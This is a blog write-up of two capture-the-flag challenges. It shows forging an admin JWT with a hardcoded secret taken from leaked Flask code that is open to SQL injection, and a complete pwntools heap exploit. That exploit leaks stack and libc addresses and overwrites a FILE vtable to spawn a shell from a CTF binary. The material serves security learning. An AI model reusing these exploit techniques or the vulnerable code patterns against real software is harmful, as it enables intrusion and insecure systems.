In this blog post, we are going to solve two hard challenges of May Mayhem.


Opening the link will show us a simple admin login portal,

Let's try a simple directory bruteforcing to check if there are any hidden endpoints

So, the application is built using python & debug mode in enabled.
Checking the source code will reveal that, once we submit the username & password, it'll be sent to /api/v3/login as JSON (like this {"uname":"tuhin1729","pwd":"r4nd0m_p4$$w0rd"}). If the username & password matches with the database, it'll respond back with auth token & further send the auth token to /api/v3/validate as JSON (possibly for validating the auth token).

Let's try to perform a directory bruteforcing at http://<IP>/api/v3/

We got a new endpoint /api/v3/signup. Looks like the developer forgot to disable signup. Let's try to create a new account,

Now, let's attempt to log in and verify whether the account has indeed been created or not.

So, it's a JWT (JSON Web Token). We'll try to send the auth token to the endpoint /api/v3/validate.

Cool! Now we've a proper understanding of the flow. From the description of the challenge, we can assume that we need to login as admin.
So let's try to create an account with the username admin.

Let's try SQL Injection:

We've already discovered that debug mode is enabled, so let's try to generate some kind of errors, maybe the application will leak some sensitive information.
We can try to remove the pwd parameter and see how the application reacts:

Cool! We got the error, now let's view the error in browser:

There is a stackoverflow link in the comment. Let's see what it is:

So, the developer of the application posted the source code (or part of the source code) in stackoverflow for fixing SQLi vulnerability. Here is the entire code:
1from flask import Flask, request, jsonify, render_template
2import hashlib
3import sqlite3
4import jwt
5
6app = Flask(__name__)
7
8secret = "$up3r_$3cur4_t0k3n"
9
10def check_username(username):
11 conn = sqlite3.connect('users.db')
12 cur = conn.cursor()
13 cur.execute(f"SELECT * FROM users WHERE username='{username}'")
14 res = cur.fetchone()
15 if res:
16 return True
17
18@app.route('/')
19def home():
20 return render_template('index.html')
21
22@app.route('/api/v3/signup', methods=['POST'])
23def signup():
24 username = request.json.get('uname')
25 password = request.json.get('pwd')
26 if check_username(username):
27 return jsonify({"message":"User already exists"}), 200
28 conn = sqlite3.connect('users.db')
29 cur = conn.cursor()
30 cur.execute(f"INSERT INTO users (username, password, isAdmin) VALUES ('{username}', '{hashlib.sha256(password.encode()).hexdigest()}', 0)")
31 conn.commit()
32 conn.close()
33 return jsonify({"message":"User Created Successfully."}), 200
34
35@app.route('/api/v3/login', methods=['POST'])
36def login():
37 username = request.json.get('uname')
38 password = request.json.get('pwd')
39 conn = sqlite3.connect('users.db')
40 cur = conn.cursor()
41 cur.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{hashlib.sha256(password.encode()).hexdigest()}'")
42 res = cur.fetchone()
43 if not res:
44 return jsonify({"message":"Wrong Username/Password"}), 401
45 data = {"username":res[0], "isAdmin":res[2]}
46 jwt_data = jwt.encode(payload=data, key=secret)
47 return jsonify({"auth":jwt_data.decode()}), 200
48
49@app.route('/api/v3/validate', methods=['POST'])
50def validate():
51 auth = request.json.get('auth')
52 data = jwt.decode(auth, key=secret, algorithms=['HS256', ])
53 if data["username"] == 'admin' and data['isAdmin'] == True:
54 return jsonify({"message":f"Welcome admin! Hope you're okay."})
55 else:
56 return jsonify({"message":f"Welcome {data['username']}!"})
57
58if __name__ == '__main__':
59 app.run('0.0.0.0',8090, debug=True)From here, we can see that the value of secret parameter $up3r_$3cur4_t0k3n is used to sign the JWT. In case, they've not changed the secret in production, we can forge the JWT to login as admin. For this, we'll copy the JWT of our previous account & put it in jwt.io:

We'll change the username to admin, isAdmin to 1 and sign the token with the secret. Finally, we'll send it to the validate endpoint to get the flag:

Difficulty: Hard
Points: 300
Category: pwn
The name of this challenge is related to the last month's pwn challenge Vaults(which got 0 solves), the challenge handouts included, an ELF binary, a libc.so.6,(later the Dockerfile was added too).
file command:![[file_command.png]](https://i.ibb.co/XVVrLXQ/file-command.png)
From running the command, we can deduce that this is a x64 binary, is dynamically linked meaning that the libc functions will be loaded at runtime.
checksec![[checksec_command.png]](https://i.ibb.co/WtWK8D9/checksec-command.png)
This gives us further idea of the challenge - The binary is not PIE enabled, meaning the binary will always be loaded at a fixed virtual address in the memory( 0x400000 )




So firstly the binary prompts the user to enter some data to store in an extra space as a token of gratitude. Next we are presented with a menu with 4 options:
The vaults structure basically looks like as shown below:
1typedef struct Vault{
2
3char crypt_key[8];
4
5char comment[8];
6
7char secret[8];
8
9int age;
10
11char address[32];
12
13int size;
14
15char stacks[64];
16
17} vault;
18Create(Vault)
Read/View(Vault)
Update(Key)
Delete(Vault)
So we have our basic CRUD operations in place. Let's check out what these look like in Ghidra.
Ghidra is an open source decompiler and disassembler, which provides us with a pseudo code in C/C++ or whichever language was detecting while analysing the binary, which is a close approximation of what the original code must have looked like.
The main function decompiled by Ghidra:
1undefined8 main(void)
2{
3
4int iVar1;
5
6long in_FS_OFFSET;
7
8int local_cc;
9
10undefined local_c8 [184];
11
12long local_10;
13
14local_10 = *(long *)(in_FS_OFFSET + 0x28);
15
16setup();
17
18idx = -1;
19
20puts(
21
22"We are aware of the last month hack on Vaults Inc. and we would like to apologize with our wh ole heart,and we would like to provide you temporary extra storage as a token of apology."
23
24);
25
26read(0,local_c8,0xb0);
27
28_IO_getc(stdin);
29
30printf("Thankyou! We will keep it safe for some amount of time...");
31
32do {
33
34iVar1 = menu();
35
36if (iVar1 == 3) {
37
38update_key();
39
40}
41
42else if (iVar1 < 4) {
43
44if (iVar1 == 1) {
45
46if ((idx < -1) || (3 < idx)) {
47
48puts("\\\\t\\\\n\\\\n***OUT OF STORAGE***\\\\n\\\\n");
49
50}
51
52else {
53
54create_vault();
55
56}
57
58}
59
60else if (iVar1 == 2) {
61
62view_vault();
63
64}
65
66}
67
68else if (iVar1 == 4) {
69
70dlt_vault();
71
72}
73
74else if (iVar1 == 0x1337) {
75
76b4ckd00r();
77
78}
79
80} while (local_cc != 6);
81
82if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
83
84return 0;
85
86}
87
88/* WARNING: Subroutine does not return */
89
90__stack_chk_fail();
91
92}
93As we can see, some space is allocated on the stack of main (184 characters), and 0xb0 (176) characters are read from the user and stored in the buffer. Then we enter our menu loop.
Let's look at each of the menu functions one by one:
1void create_vault(void)
2{
3
4char cVar1;
5
6int iVar2;
7
8long in_FS_OFFSET;
9
10uint local_74;
11
12int local_70;
13
14int local_6c;
15
16char *local_68;
17
18FILE *local_60;
19
20char local_58 [8];
21
22byte local_50 [64];
23
24long local_10;
25
26
27
28local_10 = *(long *)(in_FS_OFFSET + 0x28);
29
30do {
31
32printf("Enter the stack size: ");
33
34__isoc99_scanf(&DAT_004020f2,&local_74);
35
36getc(stdin);
37
38} while (local_74 < 0x80);
39
40local_68 = (char *)malloc((ulong)local_74);
41
42do {
43
44printf("Do you have any super secret information to store?:(y/n) ");
45
46iVar2 = getc(stdin);
47
48cVar1 = (char)iVar2;
49
50getc(stdin);
51
52if (cVar1 == 'y') break;
53
54} while (cVar1 != 'n');
55
56if (cVar1 == 'y') {
57
58printf("Enter the super secret information: ");
59
60fgets(local_58,8,stdin);
61
62do {
63
64iVar2 = getc(stdin);
65
66if ((char)iVar2 == '\\\\n') break;
67
68} while ((char)iVar2 != -1);
69
70}
71
72puts("Demonstration of security at Vaults.inc");
73
74*(uint *)(local_68 + 0x3c) = local_74;
75
76local_60 = fopen("/dev/urandom","rb");
77
78local_6c = fileno(local_60);
79
80read(local_6c,local_50,8);
81
82memset(local_50 + 8,0x41,0x2f);
83
84local_50[55] = 0;
85
86printf("Before Encryption: %s\\\\n",local_50 + 8);
87
88for (local_70 = 0; local_70 < 0x30; local_70 = local_70 + 1) {
89
90local_50[(long)local_70 + 8] = local_50[(long)local_70 + 8] ^ local_50[local_70];
91
92}
93
94local_50[55] = 0;
95
96printf("After encryption: %s\\\\n",local_50 + 8);
97
98read(local_6c,local_50,8);
99
100fclose(local_60);
101
102strncpy(local_68,(char *)local_50,8);
103
104strncpy(local_68 + 8,local_58,8);
105
106printf("Stack the vault $$$: ");
107
108read(0,local_68 + 0x40,0x40);
109
110printf("Enter a comment for your account keeper: ");
111
112read(0,local_68 + 0x10,8);
113
114puts("\\\\n\\\\t*** SUCCESSFULL ***\\\\n");
115
116idx = idx + 1;
117
118*(char **)(vaults + (long)idx * 8) = local_68;
119
120if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
121
122/* WARNING: Subroutine does not return */
123
124__stack_chk_fail();
125
126}
127
128return;
129
130}1void view_vault(void)
2{
3
4long in_FS_OFFSET;
5
6int local_20;
7
8int local_1c;
9
10byte local_18 [8];
11
12long local_10;
13
14
15
16local_10 = *(long *)(in_FS_OFFSET + 0x28);
17
18do {
19
20printf("Vault No.[0-4]: ");
21
22__isoc99_scanf(&DAT_004014b2,&local_20);
23
24_IO_getc(stdin);
25
26} while (local_20 < 0);
27
28} while (idx < local_20);
29
30puts("\\\\n\\\\t*** OPENING VAULT ***\\\\n");
31
32for (local_1c = 0; local_1c < 8; local_1c = local_1c + 1) {
33
34local_18[local_1c] =
35
36*(byte *)(*(long *)(vaults + (long)local_20 * 8) + 0x10 + (long)local_1c) ^
37
38*(byte *)(*(long *)(vaults + (long)local_20 * 8) + (long)local_1c);
39
40}
41
42printf("Encrypted secret: %8s\\\\n",local_18);
43
44printf("Comment to the account keeper: %8s\\\\n",*(long *)(vaults + (long)local_20 * 8) + 8);
45
46printf("Your stack: %s\\\\n",*(long *)(vaults + (long)local_20 * 8) + 0x40);
47
48if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
49
50/* WARNING: Subroutine does not return */
51
52__stack_chk_fail();
53
54}
55
56return;
57
58}1void update_key(void)
2{
3
4long in_FS_OFFSET;
5
6int local_2c;
7
8int local_28;
9
10int local_24;
11
12FILE *local_20;
13
14char local_18 [8];
15
16long local_10;
17
18local_10 = *(long *)(in_FS_OFFSET + 0x28);
19
20do {
21
22do {
23
24printf("Vault No.[0-4]: ");
25
26__isoc99_scanf(&DAT_004020f2,&local_2c);
27
28} while (local_2c < 0);
29
30} while (idx < local_2c);
31
32local_20 = fopen("/dev/urandom","rb");
33
34do {
35
36printf("How many bytes of key do you wish to update:(1-7) ");
37
38__isoc99_scanf(&DAT_004020f2,&local_28);
39
40} while (7 < local_28);
41
42local_24 = fileno(local_20);
43
44memset(local_18,0,8);
45
46read(local_24,local_18,(long)local_28);
47
48strcpy(*(char **)(vaults + (long)local_2c * 8),local_18);
49
50puts("Key updated successfully");
51
52if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
53
54/* WARNING: Subroutine does not return */
55
56__stack_chk_fail();
57
58}
59
60return;
61
62}
63There are also two very crucial functions: One is the win function named remote_debug which basically calls the /bin/sh system command. Another one is the b4ckd00r function, which provides us with very interesting write-what-where primitive, just before causing the program to exit.
1
2void b4ckd00r(void)
3{
4
5long in_FS_OFFSET;
6
7int local_2c;
8
9long local_28;
10
11undefined8 local_20;
12
13long local_18;
14
15undefined8 local_10;
16
17
18
19local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
20
21puts(
22
23"Congratulations on finding the b4ckd00r, The fools at Vaults Inc. think they can stop us, but it\\\\'s time for you to show them who is the l337 here....\\\\nYou will only need one bullet to br ing them down!"
24
25);
26
27printf("Enter the vault number...");
28
29__isoc99_scanf(&DAT_004014b2,&local_2c);
30
31_IO_getc(stdin);
32
33printf("Enter the distance: ");
34
35__isoc99_scanf(&DAT_004014ca,&local_28);
36
37_IO_getc(stdin);
38
39printf("Chose your bullet: ");
40
41__isoc99_scanf(&DAT_004014e2,&local_20);
42
43_IO_getc(stdin);
44
45local_18 = *(long *)(vaults + (long)local_2c * 8);
46
47*(undefined8 *)(local_28 + local_18) = local_20;
48
49puts("Let\\\\'s see if you got that l337 in you ;)");
50
51/* WARNING: Subroutine does not return */
52
53exit(1);
54
55}1void remote_debug(void)
2{
3
4system("/bin/sh");
5
6return;
7
8}Now let us try to analyse the different vulnerabilities present in this binary.
The binary provides us with an option to store a secret in our vault. But if we chose 'n' as the option, then it still copies whatever the previous value it had on the stack in the area assigned to the variable, to the secret buffer in our vault.
1
2strncpy(local_68,(char *)local_50,8);
3
4strncpy(local_68 + 8,local_58,8);
5Let's examine what this value is:


As we can see it is a stack address!! Thus we have got a stack address stored in our vault, but we can't simply view it by opening the vault, as it is encrypted with a key that has random bytes in it.
As you may have noticed, we have an option to update the key of a vault. This update logic is flawed, since it updates the key by copying the new key in the vault using the strcpy function, which also copies the trailing null byte. And we can also provide length of the key buffer to update. This will allow us to leak the secret byte by byte, as a byte XOR'ed with a null byte will give the original value of the byte itself.
For example when updating the first 2 bytes of the key:

The two bytes at the address stored in rsi will be copied along with the trailing null byte to the address stored in rdi after executing the strcpy function:
![[after_update_key.png]](https://i.ibb.co/qyJ6jXr/after-update-key.png)
So now the encryption key contains a null byte. This will be XORed with the corresponding bit(3rd bit) of the secret(0xff) and we can see it in clear text! We can continue this process for other bits and retrieve the complete stack address.
Notice there is no check in the view function for checking if the vault is deleted or not? We can use this use-after-free read to leak the libc address! We just need to assign a large enough chunk to end up in unsorted bin after freeing, and it will obediently print out the libc leak in the comment to the accountant variable of the vault.
As we can see in the following screenshots.

After freeing the vault:

Ok... so we have a stack leak, libc leak, a way to overwrite 8 bits at any location we chose and a fixed offset to the libc, Naturally, the next question to ask is what should we overwrite?
The b4ckd00r function exits soon upon overwriting the bits at a specified address. How can we use it, if it is immediately calling exit() which will kill the program? Turns out, there are few functions related to file operations that get called during the exit of a program. To read about them, refer. This writeup will not be going in the depth of File Structure Programming, but the basic idea is to overwrite the vtable address in one of the _IO_2_1_stdout_, _IO_2_1_stdin_ or _IO_2_1_stderr_ structures to a location we can control and know the address to. The vtable is a jump table that contains addresses of functions used in file related operation, thus if we can forge a vtable and populate it with the address of remote_debug then we can pwn the challenge, as the exit routine calls functions from the vtable, like setbuf, to perform cleanup.But it will jump toremote_debug instead, once we overwrite the addess of vtable in one of those three structures. Since we have a stack leak, we should store this vtable in a variable on stack. Remember this at the beginning?
![[first_prompt.png]](https://i.ibb.co/jHRpwX6/first-prompt.png)
This is where we will store our forged vtable. and since we have a stack leak, we can easily calculate the address of this buffer on the stack. Then we just need to overwrite the _IO_2_1_stdout_->vtable (or any other standard file streams), to this address using the b4ckd00r function.
Fortunately, pwntools has a handy functions to create a fake vtable:
We can populate the functions of vtable using pwntools with the b4ckd00r function as follows:
1vtable=b""
2
3for i in range(17):
4
5vtable+=p64(exe.symbols['remote_debug'])The stack address of the temporary storage can be calculated by determining its offset from the stack address we leak by exploiting the weakness of encryption.
![[temporary_storage_address.png]](https://i.ibb.co/MhSRYmx/temporary-storage-address.png)
![[stack_address_we_leak.png]](https://i.ibb.co/Db9m2Hh/stack-address-we-leak.png)
Therefore the calculated offset to the stack address is:
![[offset_from_stack_leak.png]](https://i.ibb.co/6BJ7Rx1/offset-from-stack-leak.png)
Now we just need to piece together all the different parts of the exploit to successfully get a shell!
1#!/usr/bin/env python3
2
3from pwn import *
4
5from binascii import hexlify
6
7exe = ELF("./chall_patched")
8
9libc = ELF("./libc.so.6")
10
11ld = ELF("./ld-2.23.so")
12
13
14
15context.binary = exe
16
17context.log_level='debug'
18
19
20
21def conn():
22
23global r
24
25if args.LOCAL:
26
27r = process([exe.path])
28
29if args.GDB:
30
31gdb.attach(r, '''
32
33break *main+81
34
35
36
37''')
38
39else:
40
41r=remote("localhost",1337)
42
43return r
44
45r= conn()
46
47def sla(x,y):
48
49global r
50
51r.sendlineafter(x,y)
52
53
54
55def create(stack_size,stack_vault,comment,secret=b''):
56
57global r
58
59sla(b"Enter your choice: ",b"1")
60
61sla(b'Enter the stack size: ',str(stack_size).encode())
62
63if secret:
64
65sla(b'Do you have any super secret information to store?:(y/n) ',b"y")
66
67sla(b'Enter the super secret information: ',secret)
68
69else:
70
71sla(b'Do you have any super secret information to store?:(y/n) ',b"n")
72
73sla(b'Stack the vault $$$: ',stack_vault)
74
75sla(b'Enter a comment for your account keeper: ',comment)
76
77
78
79def view_vault(vault_no):
80
81global r
82
83sla(b"Enter your choice: ",b"2")
84
85sla(b"Vault No.[0-4]: ",str(vault_no).encode())
86
87
88
89r.recvuntil(b'Encrypted secret: ')
90
91secret=r.recvline()[:-1]
92
93r.recvuntil(b'Comment to the account keeper: ')
94
95comment=r.recvline()[:-1]
96
97r.recvuntil(b'Your stack: ')
98
99stack=r.recvline()[:-1]
100
101return (secret,comment,stack)
102
103
104
105def update_key(vault_no,length):
106
107global r
108
109sla(b'Enter your choice: ',b"3")
110
111sla(b"Vault No.[0-4]: ",str(vault_no).encode())
112
113sla(b'How many bytes of key do you wish to update:(1-7) ',str(length).encode())
114
115
116
117def dlt_vault(vault_no):
118
119global r
120
121sla(b"Enter your choice: ",b"4")
122
123sla(b"Vault No.[0-4]: ",str(vault_no).encode())
124
125
126
127def main():
128
129
130
131global r
132
133vtable=b""
134
135# creating our fake vtable
136
137for i in range(17):
138
139vtable+=p64(exe.symbols['remote_debug'])
140
141
142
143sla(b"We are aware of the last month hack on Vaults Inc. and we would like to apologize with our whole heart,and we would like to provide you temporary extra storage as a token of apology.\n",vtable)
144
145r.sendline()
146
147r.sendline()
148
149print(vtable)
150
151
152
153#leaking the stack
154
155create(0x420,b'A'*60,b"A"*8) #idx=0
156
157leak = b""
158
159for i in range(8):
160
161update_key(0,i)
162
163secret,_,_=view_vault(0)
164
165print(secret)
166
167secret=bytearray(secret)
168
169print(secret)
170
171leak += secret[i].to_bytes()
172
173leak = leak[:-2]
174
175
176
177leak=u64(leak.ljust(8,b"\x00"))
178
179print(f"[+] Leaked Stack: {hex(leak)}")
180
181forged_table = leak-0x1a0
182
183
184
185# creating remaining 4 chunks with one of the chunk in unsorted bin and one of the chunks mmaped and containing the forged vtable
186
187
188
189# Leaking libc
190
191create(0x420,b'A'*60,b'A'*8) # idx=1
192
193dlt_vault(0)
194
195leak,_,_ = view_vault(0)
196
197leak=u64(leak.strip(b'\\\\n').strip(b' ').ljust(8,b"\x00"))
198
199print("[+] Leaked Libc: ",hex(leak))
200
201vtable_addr=leak+13956840
202
203print()
204
205#create a long chunk that gets mmaped
206
207create(10000000,b'A'*60,b'A'*8) #idx=2
208
209print("1")
210
211#leaking libc address
212
213create(0x420,b'A'*60,b'A'*8)
214
215
216
217sla(b"Enter your choice: ",b"4919")
218
219sla(b"Enter the vault number...",b"2")
220
221sla(b"Enter the distance: ",b'13956840')
222
223sla(b"Chose your bullet: ",str(forged_table).encode())
224
225
226
227#forged vtable:
228
229# void * funcs[] = {
230
231
232
233# 1 NULL, // "extra word"
234
235
236
237# 2 NULL, // DUMMY
238
239
240
241# 3 exit, // finish
242
243
244
245# 4 NULL, // overflow
246
247
248
249# 5 NULL, // underflow
250
251
252
253# 6 NULL, // uflow
254
255
256
257# 7 NULL, // pbackfail
258
259
260
261# 8 NULL, // xsputn #printf
262
263
264
265# 9 NULL, // xsgetn
266
267# 10 NULL, // seekoff
268
269# 11 NULL, // seekpos
270
271
272
273# 12 NULL, // setbuf
274
275# 13 NULL, // sync
276
277
278
279# 14 NULL, // target location
280
281# 15 NULL, // read
282
283
284
285# 16 NULL, // write
286
287
288
289# 17 NULL, // seek
290
291
292
293# 18 pwn, // close
294
295
296
297# 19 NULL, // stat
298
299
300
301# 20 NULL, // showmanyc
302
303
304
305# 21 NULL, // imbue
306
307
308
309# };
310
311
312
313r.interactive()
314
315
316
317if __name__ == "__main__":
318
319main()
320The exploit runs successfully, and we get a shell!
![[shell.png]](https://i.ibb.co/HHLTd0C/shell.png)
Hope you liked both challenges. Happy hacking!